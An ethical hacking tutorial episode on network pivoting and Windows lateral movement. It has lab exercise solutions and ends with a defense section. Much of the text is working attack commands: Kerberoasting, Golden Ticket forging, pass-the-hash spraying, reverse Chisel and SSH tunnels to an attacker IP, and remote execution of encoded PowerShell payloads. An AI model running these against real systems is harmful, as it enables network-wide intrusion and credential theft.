Learn Ethical Hacking (#34) - Pivoting and Lateral Movement - Spreading Through Networks
What will I learn
- What pivoting is and why the first compromised machine is rarely the final target;
- SSH tunneling -- local, remote, and dynamic port forwarding to reach hidden networks;
- SOCKS proxies with Chisel and proxychains for routing tools through compromised hosts;
- Windows lateral movement -- PsExec, WMI, WinRM, DCOM, and SCM for remote execution;
- Pass-the-Hash lateral movement -- using NTLM hashes to authenticate across the domain;
- Port forwarding through multiple hops -- chaining pivots through multi-segment networks;
- Living off the land -- using built-in OS tools to move laterally without uploading binaries;
- Defense: network segmentation, monitoring lateral movement, zero trust architecture.
Requirements
- A working modern computer running macOS, Windows or Ubuntu;
- Your hacking lab from Episode 2 (multi-machine network);
- Understanding of privilege escalation and AD attacks from episodes 31-33;
- The ambition to learn ethical hacking and security research.
Difficulty
- Intermediate/Advanced
Curriculum (of the Learn Ethical Hacking series):
- Learn Ethical Hacking (#1) - Why Hackers Win
- Learn Ethical Hacking (#2) - Your Hacking Lab
- Learn Ethical Hacking (#3) - How the Internet Actually Works - For Attackers
- Learn Ethical Hacking (#4) - Reconnaissance - The Art of Not Being Noticed
- Learn Ethical Hacking (#5) - Active Scanning - Mapping the Attack Surface
- Learn Ethical Hacking (#6) - The AI Slop Epidemic - Why AI-Generated Code Is a Security Disaster
- Learn Ethical Hacking (#7) - Passwords - Why Humans Are the Weakest Cipher
- Learn Ethical Hacking (#8) - Social Engineering - Hacking the Human
- Learn Ethical Hacking (#9) - Cryptography for Hackers - What Protects Data (and What Doesn't)
- Learn Ethical Hacking (#10) - The Vulnerability Lifecycle - From Discovery to Patch to Exploit
- Learn Ethical Hacking (#11) - HTTP Deep Dive - Request Smuggling and Header Injection
- Learn Ethical Hacking (#12) - SQL Injection - The Bug That Won't Die
- Learn Ethical Hacking (#13) - SQL Injection Advanced - Extracting Entire Databases
- Learn Ethical Hacking (#14) - Cross-Site Scripting (XSS) - Injecting Code Into Browsers
- Learn Ethical Hacking (#15) - XSS Advanced - Bypassing Filters and CSP
- Learn Ethical Hacking (#16) - Cross-Site Request Forgery - Making Users Attack Themselves
- Learn Ethical Hacking (#17) - Authentication Bypass - Getting In Without a Password
- Learn Ethical Hacking (#18) - Server-Side Request Forgery - Making Servers Betray Themselves
- Learn Ethical Hacking (#19) - Insecure Deserialization - Code Execution via Data
- Learn Ethical Hacking (#20) - File Upload Vulnerabilities - When Users Upload Weapons
- Learn Ethical Hacking (#21) - API Security - The New Attack Surface
- Learn Ethical Hacking (#22) - Business Logic Flaws - When the Code Works But the Logic Doesn't
- Learn Ethical Hacking (#23) - Client-Side Attacks - Beyond XSS
- Learn Ethical Hacking (#24) - Content Management Systems - Hacking WordPress and Friends
- Learn Ethical Hacking (#25) - Web Application Firewalls - Bypassing the Guards
- Learn Ethical Hacking (#26) - The Full Web Pentest - Methodology and Reporting
- Learn Ethical Hacking (#27) - Bug Bounty Hunting - Getting Paid to Hack the Web
- Learn Ethical Hacking (#28) - The AI Web Attack Surface - AI Features as Vulnerabilities
- Learn Ethical Hacking (#29) - Network Sniffing - Seeing Everything on the Wire
- Learn Ethical Hacking (#30) - Wireless Network Attacks - Breaking Wi-Fi
- Learn Ethical Hacking (#31) - Privilege Escalation - Linux
- Learn Ethical Hacking (#32) - Privilege Escalation - Windows
- Learn Ethical Hacking (#33) - Active Directory Attacks - The Crown Jewels
- Learn Ethical Hacking (#34) - Pivoting and Lateral Movement - Spreading Through Networks (this post)
Solutions to Episode 33 Exercises
Exercise 1: Kerberoasting and AS-REP Roasting in your AD lab.
# AS-REP Roasting (from Linux attack machine)
GetNPUsers.py corp.local/ -usersfile domain_users.txt \
-no-pass -outputfile asrep_hashes.txt
# Found: svc_legacy -- no preauth required
# Hash type: $krb5asrep$23$
# Crack AS-REP hash
hashcat -m 18200 asrep_hashes.txt rockyou.txt
# Result: svc_legacy:Summer2019!
# Kerberoasting (using discovered credentials)
GetUserSPNs.py corp.local/svc_legacy:Summer2019! \
-request -outputfile tgs_hashes.txt
# Found: svc_mssql -- SPN MSSQLSvc/db01.corp.local
# Hash type: $krb5tgs$23$
# Crack TGS hash
hashcat -m 13100 tgs_hashes.txt rockyou.txt
# Result: svc_mssql:SqlServer2020!
# svc_mssql is member of Domain Admins (misconfigured)
# Path complete: standard user -> AS-REP -> Kerberoast -> Domain Admin
psexec.py corp.local/svc_mssql:SqlServer2020!@dc01.corp.local
The chain here is textbook: one misconfigured account (no preauth) gave us a foothold, Kerberoasting chained that into a service account hash, and that service account happened to be in Domain Admins. Each step is quiet -- AS-REP roasting produces one request to the KDC, Kerberoasting produces one TGS request per service account. No failed logins. No brute force. Just asking the KDC for things it is designed to give you.
Exercise 2: BloodHound analysis.
Shortest path to Domain Admin: 3 hops
jsmith -> local admin on WS02 -> DA session on WS02 -> token theft
Users with local admin on any machine: 12
(including 3 help desk accounts with admin on ALL workstations)
Derivative admin paths: 2
Path 1: jsmith -> WS02 (local admin) -> steal DA token
Path 2: helpdesk01 -> SRV03 (local admin) -> svc_backup (DA member)
BloodHound visualizes what would take hours of manual LDAP queries. The derivative admin paths are particularly nasty -- they chain through intermediate machines where privileged sessions happen to be running. In a real environment with 5000+ machines, these paths multiply exponentially. That's why BloodHound uses a graph database: the combinatorial explosion of possible paths would be impossible to analyze with flat queries.
Exercise 3: DCSync and Golden Ticket.
# DCSync
secretsdump.py corp.local/admin:P@ssw0rd@dc01.corp.local
# krbtgt:502:aad3b435...:7c4e1d2f...:::
# Golden Ticket (from mimikatz)
kerberos::golden /user:ghost /domain:corp.local \
/sid:S-1-5-21-1234567890-... /krbtgt:7c4e1d2f... /ptt
# Verify access with forged ticket
dir \\dc01.corp.local\c$
# SUCCESS -- "ghost" user does not exist in AD but has full access
# Single krbtgt reset: ticket still works (AD keeps n-1 hash)
# Double krbtgt reset: ticket invalidated (both current and
# previous hashes are now different from the one in the ticket)
The double-reset requirement is the most commonly missed step in incident response. AD maintains both the current and previous krbtgt hash for backwards compatibility -- tickets encrypted with either hash are accepted. First reset makes the old hash the "previous" hash (still valid). Second reset pushes it out entirely. Wait at least one TGT lifetime (default 10 hours) between resets to avoid breaking legitimate sessions.
Learn Ethical Hacking (#34) - Pivoting and Lateral Movement - Spreading Through Networks
Episode 33 covered Active Directory attacks -- going from a standard domain user to Domain Admin by exploiting Kerberos, trust relationships, and misconfigurations in the directory itself. You can now enumerate AD with BloodHound, Kerberoast service accounts, forge Golden Tickets, and DCSync the entire domain. That is the vertical escalation side of the equation: climbing UP the privilege hierarchy within Active Directory.
But here is the thing that most beginners miss: getting Domain Admin on one machine is not the same as controlling the network. Enterprises don't run everything on one server. There are DMZ segments with web servers that face the internet. Internal segments with workstations and file shares. Database segments with SQL servers that hold the actual valuable data. Restricted segments with SCADA systems, medical devices, PCI-scoped payment infrastructure. Each segment separated by firewalls, VLANs, ACLs, and routing rules.
You compromised one machine. Maybe a web server in the DMZ, maybe a developer's workstation that clicked a phishing link. You have root or SYSTEM. But the domain controller is on a different subnet. The database server with the crown jewels is behind a firewall your attack machine can't even route to. You need to move THROUGH the network, using each compromised host as a stepping stone to reach the next one.
This is pivoting. And its companion technique -- lateral movement -- is about spreading across machines within the same network segment, typically using credentials you've already harvested.
Having said that, I want to be clear about the distinction. Pivoting is about ROUTING: making traffic flow through compromised machines to reach otherwise unreachable network segments. Lateral movement is about AUTHENTICATION: using stolen credentials (passwords, hashes, tickets) to access other machines you can already route to. In practice they work together. You pivot to reach a new segment, then move laterally within it, then pivot again from one of those machines to reach the next segment. Each hop gets you deeper into the network.
If privilege escalation was about going from www-data to root on one machine (episodes 31-32), and AD attacks were about going from root to Domain Admin within a directory (episode 33), then pivoting and lateral movement are about going from one compromised machine to EVERY machine. That is the difference between "we lost one server" and "we lost the entire network." And that difference is what makes these techniques so critical to understand -- both as an attacker and as a defender.
SSH Tunneling -- The Foundation
SSH is the Swiss Army knife of pivoting. If the compromised host has an SSH server (most Linux machines do), you can create encrypted tunnels that route your traffic through it. Three types of tunnels cover essentially every scenario you'll encounter:
Local Port Forward
Route traffic from your attack machine through the compromised host to a target on a network segment you can't reach directly:
# Scenario: you compromised 10.10.10.5 (web server in DMZ)
# Target: 192.168.1.100:3306 (MySQL on internal network)
# Your machine cannot reach 192.168.1.100 directly
ssh -L 3306:192.168.1.100:3306 user@10.10.10.5
# Now on your machine:
mysql -h 127.0.0.1 -P 3306 -u root
# Traffic flows: your machine -> SSH tunnel -> 10.10.10.5 -> 192.168.1.100:3306
The -L flag means "listen on my local port, forward through the SSH connection to the destination." Your MySQL client connects to localhost:3306, SSH picks it up, sends it through the encrypted tunnel to 10.10.10.5, and 10.10.10.5 makes the final connection to 192.168.1.100:3306. The MySQL server sees the connection coming from 10.10.10.5, not from your attack machine. From the target's perspective, it's the web server making a database connection -- which might be perfectly normal traffic.
This is the simplest tunnel type and the one you'll use most often. I reach for it any time I need to access a single service on the internal network. Open a tunnel, run my tool, close the tunnel. Clean and predictable.
Remote Port Forward
Make a port on the compromised machine accessible on your attack machine. Useful when the target network can reach the compromised host but your attack machine is behind NAT or a firewall:
# On the compromised host (reverse connection back to you):
ssh -R 8080:127.0.0.1:80 attacker@YOUR_IP
# Now anyone connecting to YOUR_IP:8080 hits compromised_host:80
# Useful for exposing internal web apps to your attack machine
Remote forwards are the mirror image of local forwards. Instead of "my machine listens, traffic goes through the tunnel," it's "the remote machine listens, traffic comes back through the tunnel." This is especially useful when you have a reverse shell on a target but no direct inbound access -- the compromised host connects OUT to your SSH server and creates the tunnel in reverse.
Dynamic Port Forward (SOCKS Proxy)
The most powerful option. Creates a SOCKS proxy that can route ANY TCP traffic through the compromised host:
# Create SOCKS proxy on local port 1080
ssh -D 1080 user@10.10.10.5
# Configure proxychains to use it
# Edit /etc/proxychains4.conf:
# socks5 127.0.0.1 1080
# Now route ANY tool through the proxy
proxychains nmap -sT -Pn 192.168.1.0/24
proxychains curl http://192.168.1.100
proxychains evil-winrm -i 192.168.1.50 -u admin -p Password
proxychains sqlmap -u "http://192.168.1.100/app?id=1"
With a dynamic forward, your entire toolkit works against the internal network as if you were sitting on it. nmap, curl, sqlmap, crackmapexec, gobuster -- everything goes through the tunnel. You're essentially converting your compromised DMZ server into a VPN endpoint ;-)
The -D flag creates a SOCKS5 proxy. proxychains intercepts the TCP connections from whatever tool you run and redirects them through the SOCKS proxy. The beauty is that the tool itself doesn't need to support SOCKS -- proxychains handles it transparently. The limitation: UDP traffic and ICMP (ping) don't work through SOCKS. That means nmap -sU (UDP scan) and ping won't work through proxychains. Use -sT (TCP connect scan) instead of the default -sS (SYN scan) because SYN scans require raw sockets that proxychains can't intercept.
One pitfall that trips people up: DNS. By default proxychains resolves DNS on your local machine, which means your DNS queries go to YOUR DNS server, not through the tunnel. If the internal network uses internal DNS names (like db01.corp.local), those won't resolve from your machine. Fix this by setting proxy_dns in /etc/proxychains4.conf so DNS queries also go through the proxy.
Chisel -- When SSH Is Not Available
Not every target has SSH. Windows machines typically don't. Hardened Linux servers might have SSH locked down to specific IPs. Firewalls might block port 22 entirely. This is where Chisel comes in -- a single static binary that creates encrypted tunnels over HTTP.
# On your attack machine (server mode):
./chisel server --reverse --port 8000
# On the compromised host (client mode):
# Upload chisel binary first (certutil, wget, curl, whatever works)
.\chisel.exe client YOUR_IP:8000 R:socks
# This creates a SOCKS proxy on your machine (default port 1080)
# Use proxychains exactly as before
proxychains nmap -sT -Pn 192.168.1.0/24
Chisel advantages over SSH tunneling:
- Single static binary, no dependencies, works on Windows AND Linux
- Traffic looks like HTTP/HTTPS (blends in with normal web traffic)
- Does not require an SSH server on the target
- Supports reverse connections (target connects out to you, punching through NAT/firewalls)
- Can tunnel through HTTP proxies that the corporate network might force all traffic through
The reverse SOCKS mode (R:socks) is the most commonly used. You run the Chisel server on your attack machine, upload the Chisel client to the compromised host, and the client connects OUTBOUND to your server. The outbound connection creates a SOCKS proxy endpoint on your machine that tunnels through the compromised host. Since most firewall rules allow outbound HTTP, this punches through egress filtering that would block SSH.
There are also alternatives worth knowing. Ligolo-ng is gaining popularity in pentesting circles because it creates a real TUN interface instead of a SOCKS proxy -- meaning all your tools work natively without proxychains. plink.exe (PuTTY's command-line SSH client) works on Windows for SSH tunneling without installing OpenSSH. netsh can do port forwarding natively on Windows. Each has its place depending on what's available and what the defenses look like.
Windows Lateral Movement Techniques
Once you have credentials (password, hash, or Kerberos ticket) for an account with admin access on remote Windows machines, you can execute commands across the network. These techniques are the bread and butter of Active Directory pentesting -- you got Domain Admin in episode 33, now you use it to actually ACCESS those machines.
PsExec
# Impacket PsExec (from Linux)
psexec.py corp.local/admin:Password@192.168.1.50
# Sysinternals PsExec (from Windows)
PsExec.exe \\192.168.1.50 -u corp\admin -p Password cmd.exe
PsExec is the classic. It works by uploading a service binary to the remote machine's ADMIN$ share, creating a Windows service via the Service Control Manager (SCM), starting the service (which executes your payload), and then cleaning up. It is reliable, well-understood, and NOISY. It creates Event ID 7045 (new service installation), writes files to disk, leaves artifacts in the Windows Event Log. Every SOC analyst knows what PsExec looks like.
Having said that, "noisy" is relative. In an environment without centralized logging or SIEM, nobody is watching those event logs. And PsExec's reliability makes it the go-to when stealth isn't a priority -- which in many pentest scenarios, it isn't. You already have Domain Admin. The assessment goal is to demonstrate impact, not to be sneaky.
WMI (Windows Management Instrumentation)
# From Linux with Impacket
wmiexec.py corp.local/admin:Password@192.168.1.50
# From Windows (PowerShell)
Invoke-WmiMethod -ComputerName 192.168.1.50 -Class Win32_Process `
-Name Create -ArgumentList "powershell -e BASE64_PAYLOAD" `
-Credential $cred
WMI is stealthier than PsExec. It does NOT create a service, does NOT write files to disk, and the command runs under the WMI Provider Host process (wmiprvse.exe) -- a legitimate Windows process that's always running. The main detection vector is Event ID 4688 (process creation) showing wmiprvse.exe spawning unexpected child processes, but only if process command-line auditing is enabled (and in many environments, it is not).
The downside: wmiexec.py from Impacket gives you a semi-interactive shell, not a fully interactive one. Each command creates a new process, executes, writes output to a temp file on the ADMIN$ share, and Impacket reads the output back. There's latency, and long-running commands can timeout. For interactive work, WinRM is better.
WinRM (Windows Remote Management)
# From Linux with evil-winrm
evil-winrm -i 192.168.1.50 -u admin -p Password
# From Windows (PowerShell)
Enter-PSSession -ComputerName 192.168.1.50 -Credential $cred
# Execute command on multiple machines at once
Invoke-Command -ComputerName SRV01,SRV02,SRV03 `
-ScriptBlock { whoami; hostname } -Credential $cred
WinRM provides a full interactive PowerShell session on the remote machine. Port 5985 (HTTP) or 5986 (HTTPS). It is Microsoft's native remote management protocol, and many enterprise environments have it enabled by default via Group Policy. evil-winrm from Linux is the pentester's tool of choice because it includes built-in features for uploading/downloading files, loading .NET assemblies, and running PowerShell scripts -- all through the legitimate WinRM protocol.
The Invoke-Command variant is particularly powerful for mass execution. Give it a list of computer names and a script block, and it executes on ALL of them simultaneously. In a large domain with shared admin credentials, this is how you go from "I own one machine" to "I own 500 machines" in a single command ;-)
SMB + Service Control Manager
# Using smbexec from Impacket
smbexec.py corp.local/admin:Password@192.168.1.50
# CrackMapExec / NetExec for mass lateral movement
crackmapexec smb 192.168.1.0/24 -u admin -p Password -x "whoami"
# Or with a hash (pass-the-hash)
crackmapexec smb 192.168.1.0/24 -u admin -H NTLM_HASH -x "whoami"
CrackMapExec (now called NetExec) is the tool of choice for mass lateral movement testing. Give it a subnet, credentials, and a command, and it executes on every machine where those credentials work. The output shows which machines were accessible, which returned results, and which ones failed. In a domain where the local administrator password is the same across all machines (which, as we discussed in episode 32, is depressingly common without LAPS), one hash gives you SYSTEM on everything. One command. Entire network. That's why LAPS exists.
Pass-the-Hash for Lateral Movement
Remember from episode 33: you do NOT need to crack a hash to use it. NTLM authentication accepts the hash directly. This is a fundamental property of the protocol -- the hash IS the credential. Combined with lateral movement tools, it means every hash you extract from mimikatz, from SAM dumps, from DCSync, from any source at all, is immediately usable to authenticate across the network:
# Pass-the-Hash with PsExec (hash instead of password)
psexec.py -hashes :NTLM_HASH corp.local/admin@192.168.1.50
# Pass-the-Hash with evil-winrm
evil-winrm -i 192.168.1.50 -u admin -H NTLM_HASH
# Pass-the-Hash with CrackMapExec -- spray across the subnet
crackmapexec smb 192.168.1.0/24 -u administrator -H NTLM_HASH
# Pass-the-Hash with WMI
wmiexec.py -hashes :NTLM_HASH corp.local/admin@192.168.1.50
The -hashes :NTLM_HASH syntax in Impacket means "no LM hash, only NTLM hash" (the colon separates LM from NTLM). In modern environments the LM hash is always empty because LM authentication has been disabled by default since Windows Vista.
This is where the credential harvesting from episodes 32 and 33 pays off. You dumped LSASS with mimikatz? Every hash in that output is a lateral movement vector. You DCSync'd the domain? Every hash in ntds.dit is a key to another machine. You cracked a Kerberoasted hash? That service account probably has admin access on the servers running that service. The techniques from previous episodes FEED directly into this one. Pivoting and lateral movement are not standalone skills -- they're the USAGE phase of everything you've been collecting.
Multi-Hop Pivoting
Real networks have multiple segments. A typical enterprise layout might look like this:
Your Machine -> DMZ -> Internal LAN -> Database Segment -> Management VLAN
10.10.14.5 10.10.10.5 192.168.1.0/24 172.16.0.0/24 10.0.0.0/24
You compromise the DMZ server. Through it, you reach the internal LAN. But the database segment is only reachable from specific machines on the internal LAN. And the management VLAN (where the domain controllers live) is only reachable from the database segment or dedicated jump boxes. You need to chain pivots:
# Hop 1: SOCKS proxy through DMZ server
ssh -D 1080 user@10.10.10.5
# Scan internal network through hop 1
proxychains nmap -sT -Pn 192.168.1.0/24
# Found: 192.168.1.50 (admin workstation, can reach DB segment)
# Compromise 192.168.1.50 via pass-the-hash (through proxychains)
proxychains evil-winrm -i 192.168.1.50 -u admin -H HASH
# Hop 2: upload Chisel to 192.168.1.50, create second tunnel
# (On 192.168.1.50)
.\chisel.exe client 10.10.10.5:9000 R:2080:socks
# Now chain SOCKS proxies in proxychains.conf:
# socks5 127.0.0.1 1080 (hop 1 - through DMZ)
# socks5 127.0.0.1 2080 (hop 2 - through internal LAN)
# Traffic now flows: you -> DMZ -> internal -> DB segment
proxychains nmap -sT -Pn 172.16.0.0/24
Each hop adds latency and complexity. In practice, two or three hops is the maximum before tools start timing out and connections become unreliable. If you find yourself needing more than three hops, it's usually better to upload your tools directly to an intermediate machine and run them locally from there, rather than trying to tunnel everything back to your attack machine.
A practical tip: keep a diagram. Draw the network segments, the machines you've compromised, and the tunnels you've created. Lable each tunnel with its local port and destination. When you're three hops deep and have six tunnels running, you WILL lose track of what goes where. I've seen experienced pentesters accidentally run scans against their own tunnel endpoints because they confused which proxy pointed where. A whiteboard (or just a text file) with a clear diagram prevents this.
Living Off the Land
The stealthiest lateral movement uses tools already present on the target system. No file uploads, no suspicious binaries, nothing that triggers AV or EDR alerts for "unknown executable":
# PowerShell remoting (native Windows, enabled in most enterprises)
Invoke-Command -ComputerName SRV01 -ScriptBlock { whoami } -Credential $cred
# RDP -- built-in, graphical, fully interactive
mstsc /v:192.168.1.50
# Net use -- map admin shares to browse remote filesystems
net use \\192.168.1.50\c$ /user:corp\admin Password
dir \\192.168.1.50\c$\Users\
# schtasks -- create a scheduled task on the remote machine
schtasks /create /s 192.168.1.50 /u corp\admin /p Password ^
/tn "Maintenance" /tr "powershell -e BASE64" /sc once /st 00:01
# sc.exe -- create and start a remote service
sc \\192.168.1.50 create updatesvc binpath= "cmd /c whoami > c:\temp\out.txt"
sc \\192.168.1.50 start updatesvc
# DCOM (Distributed Component Object Model)
# Using MMC20.Application for remote code execution
$com = [activator]::CreateInstance([type]::GetTypeFromProgID(
"MMC20.Application","192.168.1.50"))
$com.Document.ActiveView.ExecuteShellCommand("cmd",$null,
"/c powershell -e BASE64","7")
Every single one of these commands uses legitimate Windows administration tools. An IDS that only looks for known attack tools (mimikatz, cobalt strike, metasploit) will NOT flag these. The commands are indistinguishable from normal admin activity -- unless you have behavioral analytics that can flag unusual patterns like "the helpdesk account just remoted into 47 machines in 3 minutes."
DCOM is particularly interesting and often overlooked. The MMC20.Application COM object has an ExecuteShellCommand method that can run commands on remote machines. It uses DCOM (port 135 + dynamic RPC ports), which is a legitimate Windows service that's almost always enabled. The technique doesn't create services, doesn't upload files, doesn't require WinRM or PowerShell remoting to be enabled. It's the quietest of the bunch and the least commonly monitored.
Defense: Detecting and Preventing Lateral Movement
The defense against pivoting and lateral movement is layered. No single control stops it. You need network architecture, monitoring, and credential hygiene working together:
# 1. Network segmentation with VLAN-based isolation
# Separate DMZ, workstations, servers, databases into VLANs
# Firewall rules: deny by default, allow only required flows
# Example: DMZ can reach internal DNS (port 53) but nothing else
# Workstations can reach file servers (445) but not the DB segment
# 2. Disable unnecessary protocols
# Disable SMBv1 everywhere (MS17-010 / EternalBlue still works on it)
# Disable WinRM on machines that don't need it
# Restrict RDP to dedicated jump boxes only
# Block outbound SSH from servers that don't need it
# 3. LAPS (Local Admin Password Solution)
# Unique random passwords per machine -- eliminates hash reuse
# We covered this in episode 32 but it bears repeating here:
# without LAPS, one local admin hash = access to every machine
# 4. Monitor for lateral movement indicators
# PsExec: Event ID 7045 (new service), 4697 (service installed)
# WMI: Event ID 4688 (wmiprvse.exe spawning child processes)
# WinRM: Event ID 6 (WSMan session created)
# PtH: Event ID 4624 logon type 3 with NTLM (not Kerberos)
# schtasks: Event ID 4698 (scheduled task created remotely)
# DCOM: Event ID 4688 from mmc.exe or dllhost.exe
# 5. Network access control (802.1X)
# Authenticate devices before granting network access
# Prevents rogue devices and limits pivot points
# 6. Deploy EDR that detects behavioral patterns
# Signature-based AV does NOT catch LOLBins, Chisel, SSH tunnels
# Behavioral EDR looks for anomalies: unusual parent-child processes,
# abnormal network connections, credential access patterns
The network segmentation point is the most important defense and the one that directly counters pivoting. If the DMZ server literally cannot route traffic to the database segment (no route exists, the firewall drops it), then compromising the DMZ server does not give you a path deeper. You're stuck. The attacker has to find a machine in a segment that CAN reach the target, compromise it separately, and pivot from there. Every segment boundary is a speed bump, and enough speed bumps turn a 2-hour pentest into a 2-week pentest. Time is the defender's friend -- the longer the attacker takes, the more likely they are to be detected.
Zero trust architecture is the modern answer to this problem. Instead of trusting everything inside the perimeter (the traditional castle-and-moat model), zero trust assumes every connection is hostile until proven otherwise. Every access request is authenticated, authorized, and encrypted regardless of where it originates. A machine on the internal LAN gets the same scrutiny as one connecting from the internet. This fundamentally breaks the pivoting model because "being on the internal network" no longer grants implicit trust.
The AI Slop Connection
AI assistants regularly suggest the most permissive network configurations when asked to troubleshoot connectivity issues. "Disable the firewall to test connectivity," "enable WinRM on all machines via GPO," "use the same local admin password across the domain for ease of management," "add everyone to the Remote Desktop Users group."
Each one of those suggestions is a lateral movement highway. The AI solves the immediate problem (connectivity, access, convenience) while creating exactly the conditions that attackers need to spread through a network. Real network security is about making lateral movement HARD -- restrictive firewalls, unique credentials per machine, minimal protocol exposure, aggressive monitoring. AI-generated configurations optimize for the opposite: making everything easy, which means making everything exploitable.
I've seen production environments where the entire flat network (no segmentation, no VLANs, no internal firewalls) was set up because "the setup guide said to allow all traffic between these servers." Which setup guide? An AI-generated one. A single compromised workstation had direct network access to every server, database, and domain controller in the organization. Pivoting wasn't even neccessary -- everything was already reachable from everywhere.
The Bigger Picture
With episodes 31-34 complete, you now have the full post-exploitation toolkit. Linux privesc (31) gave you root on Linux machines. Windows privesc (32) gave you SYSTEM on Windows machines. AD attacks (33) gave you Domain Admin. And now pivoting and lateral movement (34) lets you spread that access across the entire network infrastructure.
This is the methodology real pentesters follow. Initial access (maybe through a web vuln from episodes 1-28, or a phishing payload, or a compromised VPN credential) gives you a foothold on one machine. Privilege escalation gives you full control of that machine. AD attacks give you control of the identity infrastructure. And pivoting/lateral movement translates all of that into organizational-wide compromise: every server, every workstation, every database, every secret.
The next phase of this series will take us into cloud environments. On-premises AD is increasingly connected to cloud platforms -- Azure AD sync, AWS SSO, hybrid identity configurations. Compromising the on-prem AD often means you also have a path into the cloud. And cloud environments have their own unique attack surfaces, credential stores, and lateral movement techniques that build on everything we've covered so far, but work very differently in practice.
Exercises
Exercise 1: Set up a two-segment lab: DMZ (10.10.10.0/24) with a Linux web server, and internal network (192.168.1.0/24) with a Windows machine. From your attack machine, use SSH dynamic port forwarding through the DMZ server to scan the internal network with nmap, then use evil-winrm through proxychains to get a shell on the Windows machine. Document the full pivot chain.
Exercise 2: Test three different Windows lateral movement methods against your AD lab: PsExec (Impacket), WMI (wmiexec.py), and WinRM (evil-winrm). For each, document: (a) what Windows Event IDs are generated, (b) what artifacts are left on the target, (c) which method is stealthiest. Compare by checking Windows Event Viewer on the target after each method.
Exercise 3: Set up Chisel tunneling from a Windows target back to your Linux attack machine. Demonstrate: (a) reverse SOCKS proxy through the Windows host, (b) scanning an internal subnet through the Chisel tunnel with proxychains, (c) accessing a web application on the internal network through the tunnel. Document the Chisel commands and compare its traffic profile against SSH tunneling (what does each look like on the wire?).